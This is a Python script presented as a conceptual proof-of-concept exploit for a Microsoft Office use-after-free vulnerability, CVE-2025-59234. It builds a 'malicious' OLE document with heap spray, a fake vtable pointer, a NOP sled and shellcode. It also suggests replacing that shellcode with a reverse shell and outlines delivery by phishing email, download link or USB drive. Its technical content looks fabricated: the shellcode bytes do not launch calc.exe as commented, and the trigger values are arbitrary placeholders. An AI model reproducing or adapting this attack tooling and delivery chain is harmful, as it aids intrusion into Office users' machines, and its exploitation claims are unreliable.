# CVE-2025-59234 - Microsoft Office Use After Free PoC
# This is a conceptual PoC demonstrating the exploitation of UAF vulnerability
# in Microsoft Office. The actual exploit requires a specially crafted Office document.
import struct
import os
class UAFExploit:
"""
Conceptual PoC for CVE-2025-59234 - Microsoft Office Use After Free
Vulnerability Type: Use After Free (UAF)
Affected Product: Microsoft Office
Attack Vector: Local (requires user interaction)
"""
def __init__(self):
self.doc_magic = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # OLE Compound File magic
self.target_object_size = 0x100
self.shellcode_size = 0x200
def create_malicious_document(self, output_path):
"""
Create a malicious Office document that triggers the UAF vulnerability.
The document contains a specially crafted embedded object that causes
Office to free memory while still holding references to it.
"""
# Build OLE compound file structure
ole_header = self.build_ole_header()
# Create malicious embedded object payload
# This payload triggers the use-after-free condition
payload = self.build_uaf_payload()
# Combine header and payload
malicious_doc = ole_header + payload
with open(output_path, 'wb') as f:
f.write(malicious_doc)
print(f"[*] Malicious document created: {output_path}")
print(f"[*] Document size: {len(malicious_doc)} bytes")
print(f"[!] WARNING: This document exploits CVE-2025-59234")
def build_ole_header(self):
"""Build a minimal OLE compound file header."""
header = bytearray(512)
# OLE magic number
header[0:8] = self.doc_magic
# Minor version
struct.pack_into('<H', header, 0x18, 0x003E)
# Major version (3.0 = 0x0003 for 512-byte sectors)
struct.pack_into('<H', header, 0x1A, 0x0003)
# Byte order (little-endian)
struct.pack_into('<H', header, 0x1C, 0xFFFE)
# Sector size shift (9 = 512 bytes)
struct.pack_into('<H', header, 0x1E, 0x0009)
# Mini sector size shift (6 = 64 bytes)
struct.pack_into('<H', header, 0x20, 0x0006)
return bytes(header)
def build_uaf_payload(self):
"""
Build the payload that triggers the use-after-free condition.
The payload contains:
1. A legitimate object reference
2. A trigger to free the referenced memory
3. A replacement object occupying the freed memory
4. Shellcode to execute when the stale pointer is dereferenced
"""
payload = bytearray()
# Object header - identifies this as an embedded OLE object
payload += b'\x01\x00\x00\x00' # Version
payload += b'\x02\x00' # Flags
payload += b'\xFF\xFF' # Name length (max)
# Trigger sequence - causes Office to free the object prematurely
payload += b'\x00\x01\x02\x03' # Invalid type identifier
payload += b'\xDE\xAD\xBE\xEF' # Magic value to trigger free
# Heap spray filler - occupies freed memory with controlled content
spray_pattern = b'\x41\x41\x41\x41' * (self.target_object_size // 4)
payload += spray_pattern
# Fake vtable pointer - redirects execution when UAF is triggered
payload += struct.pack('<Q', 0x0000000000401234) # Fake function pointer
# Shellcode placeholder (NOP sled + shellcode)
nop_sled = b'\x90' * 64
payload += nop_sled
# Simple shellcode: Windows x64 - execute calc.exe as PoC
# In real exploit: replace with reverse shell or payload
shellcode = (
b'\x48\x31\xc0' # xor rax, rax
b'\x48\x83\xc0\x01' # add rax, 1
b'\x48\x89\xc7' # mov rdi, rax
b'\x48\x89\xce' # mov rsi, rcx
b'\x48\x89\xd1' # mov rcx, rdx
b'\x48\x8b\x05\x00\x00\x00\x00' # mov rax, [rip+0]
)
payload += shellcode
return bytes(payload)
def deliver_payload(self, target_email=None):
"""
Conceptual delivery method - in a real attack scenario,
the malicious document would be delivered via:
- Phishing email with document attachment
- Malicious download link
- USB drive or shared network location
"""
print("[*] Attack chain for CVE-2025-59234:")
print(" 1. Create malicious .doc/.docx/.xls/.xlsx document")
print(" 2. Deliver to target via phishing or social engineering")
print(" 3. Target opens the document (user interaction required)")
print(" 4. Office parses the embedded object, triggers UAF")
print(" 5. Attacker code executes in context of Office process")
print(" 6. Potential privilege escalation if user has admin rights")
if __name__ == "__main__":
exploit = UAFExploit()
exploit.create_malicious_document("exploit_cve_2025_59234.doc")
exploit.deliver_payload()